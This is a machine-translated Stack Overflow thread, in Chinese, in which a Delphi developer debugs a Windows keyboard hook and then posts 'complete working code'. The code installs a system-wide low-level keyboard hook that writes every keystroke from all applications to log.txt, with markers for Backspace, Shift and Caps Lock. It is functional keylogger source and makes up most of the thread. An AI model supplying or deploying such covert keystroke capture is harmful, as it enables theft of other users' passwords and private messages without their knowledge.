2016-12-06 56 views
0

我想改變一箇舊的代碼鍵盤鉤爲更好的支持Unicode字符(舊代碼是ascii),在這一刻我有困難,以捕獲WM_KEYDOWN事件。如何通過Windows鉤子捕獲WM_KEYDOWN事件?

我的實際代碼如下:

var 
    Form1: TForm1; 
    HookHandle: hHook; 
    ft: text; 

implementation 

{$R *.dfm} 

function KBHookProc(Code: Integer; WParam: WParam; LParam: LParam) 
    : LRESULT; stdcall; 
var 
    _Msg: TMessage; 
    VK: Integer; 
    SC: Integer; 
    buf: Char; 
    KS: TKeyboardState; 
    MyHKB: HKL; 
begin 
    if Code = HC_ACTION then 
    begin 
if _Msg.Msg = WM_KEYDOWN then 
    begin 
    VK := _Msg.WPARAM; 
    MyHKB := GetKeyboardLayout(_Msg.LParam); 
    SC := MapVirtualKeyEx(VK, MAPVK_VK_TO_VSC, MyHKB); 
    GetKeyboardState(KS); 
    ToUnicodeEx(VK, SC, KS, @buf, sizeof(buf), 0, MyHKB); 

     append(ft); 

      write(ft,buf); 
      closefile(ft); 
     MyHKB := 0; 
    end; 
    end; 
    Result := CallNextHookEx(HookHandle, Code, WParam, LParam); 
end; 


procedure TForm1.FormCreate(Sender: TObject); 
begin 
    assignfile(ft,'log.txt'); 
    rewrite(ft); 
    closefile(ft); 

    HookHandle := SetWindowsHookEx(WH_JOURNALRECORD , @KBHookProc, hinstance, 0); 
end; 

編輯1:

我的代碼如下捕捉WM_KEYDOWN成功,但沒有數據被寫入到文件:-(

一些建議嗎?

var 
    Form1: TForm1; 
    HookHandle: hHook; 
    ft: text; 

implementation 

{$R *.dfm} 

function LowLevelKeyboardProc(nCode: Integer; wParam: wParam; 
    lParam: lParam): LRESULT; stdcall; 
    var 
    _Msg: TMessage; 
    VK: Integer; 
    SC: Integer; 
    buf: Char; 
    KS: TKeyboardState; 
    MyHKB: HKL; 
begin 
    if (nCode >= 0) and (wParam = WM_KEYDOWN) then 
    begin 
    VK := _Msg.WParam; 
    MyHKB := GetKeyboardLayout(_Msg.LParam); 
    SC := MapVirtualKeyEx(VK, MAPVK_VK_TO_VSC, MyHKB); 
    GetKeyboardState(KS); 
    ToUnicodeEx(VK, SC, KS, @buf, sizeof(buf), 0, MyHKB); 

     append(ft); 

      write(ft,buf); 
      closefile(ft); 
     MyHKB := 0; 
    end; 
    Result := CallNextHookEx(HookHandle, nCode, wParam, lParam); 
end; 

function InstallHook: Boolean; 
begin 
    Result := False; 
    if HookHandle = 0 then 
    begin 
    HookHandle := SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardProc, 0, 0); 
    Result := HookHandle <> 0; 
    end; 
end; 

function UninstallHook: Boolean; 
begin 
    Result := UnhookWindowsHookEx(HookHandle); 
    HookHandle := 0; 
end; 

procedure TForm1.FormCreate(Sender: TObject); 
begin 
    assignfile(ft,'log.txt'); 
    rewrite(ft); 
    closefile(ft); 

    InstallHook; 
end; 

procedure TForm1.FormDestroy(Sender: TObject); 
begin 
    UninstallHook; 
end; 
+1

爲什麼您使用'WH_JOURNALRECORD'而不是'WH_KEYBOARD'或'WH_KEYBOARD_LL'?而你的'KBHookProc()'使用'_Msg',而不先分配任何東西。爲什麼不處理'WM_CHAR' /'WM_UNICHAR'窗口消息而不是'WM_KEYDOWN'鍵盤消息?如果您只是爲自己的應用程序處理鍵盤輸入,請改用「TApplication.OnMessage」。如果您要掛鉤其他應用程序,請考慮使用[原始輸入API](https://msdn.microsoft.com/en-us/library/windows/desktop/ms645536.aspx),而不要使用「SetWindowsHookEx()」。 –

+0

@RemyLebeau,我編輯了我的問題。爲什麼沒有寫入文件? – Saulo

+0

我似乎記得原生的Delphi文件函數不能很好地處理Unicode。除此之外,你是否做過任何調試,以確認你調用的所有API函數返回你期望的結果?我在這裏沒有看到任何錯誤檢查代碼。 –

回答

-1

解決方案!

下面是完整的代碼工作:d

我願意爲Backspace關鍵建議。

例如,當按下此鍵時,刪除文件末尾的最後一個字符。

如果存在其他方式來做到這一點,我也接受。

var 
    Form1: TForm1; 
    HookHandle: hHook; 
    ft: text; 

implementation 

{$R *.dfm} 

function LowLevelKeyboardProc(nCode: Integer; wParam: wParam; 
    lParam: lParam): LRESULT; stdcall; 
    var 
    vkey: Cardinal; 
    buff: WideChar; 
    kbState: TKeyboardState; 
    keybLayout: HKL; 
    _msg: PEventMsg; 
begin 
    _msg := Pointer(lParam); 

    if (nCode >= 0) and (wParam = WM_KEYDOWN) then 
    begin 

    GetKeyboardState(kbState); 
    KeybLayout:=GetKeyboardLayout(0); 
    vkey := MapVirtualKeyEx(_msg.paramL, MAPVK_VSC_TO_VK, keybLayout); 
    ToUnicodeEx(vkey, _msg.paramL, @kbState, @buff, 1, 0, keybLayout); 

     append(ft); 

      if vkey = 8 then 
       write(ft,'{BKS}') 
      else 
      if vkey = 16 then 
       write(ft,'{SHIFT}') 
      else 
      if vkey = 20 then 
       write(ft,'{CAPS}') 
      else 

      write(ft,buff); 

     closefile(ft); 
    end; 
    Result := CallNextHookEx(HookHandle, nCode, wParam, lParam); 
end; 

function InstallHook: Boolean; 
begin 
    Result := False; 
    if HookHandle = 0 then 
    begin 
    HookHandle := SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardProc, 0, 0); 
    Result := HookHandle <> 0; 
    end; 
end; 

function UninstallHook: Boolean; 
begin 
    Result := UnhookWindowsHookEx(HookHandle); 
    HookHandle := 0; 
end; 

procedure TForm1.FormCreate(Sender: TObject); 
begin 
    assignfile(ft,'log.txt'); 
    rewrite(ft); 
    closefile(ft); 

    InstallHook; 
end; 

procedure TForm1.FormDestroy(Sender: TObject); 
begin 
    UninstallHook; 
end; 
+0

爲了使代碼正常工作,您必須更改哪些主要內容? –

+0

@Rob肯尼迪,可以幫助我[這個問題](http://stackoverflow.com/questions/41008676/how-make-setthreaddesktop-api-work-from-of-a-console-application?noredirect=1# comment69226584_41008676)? – Saulo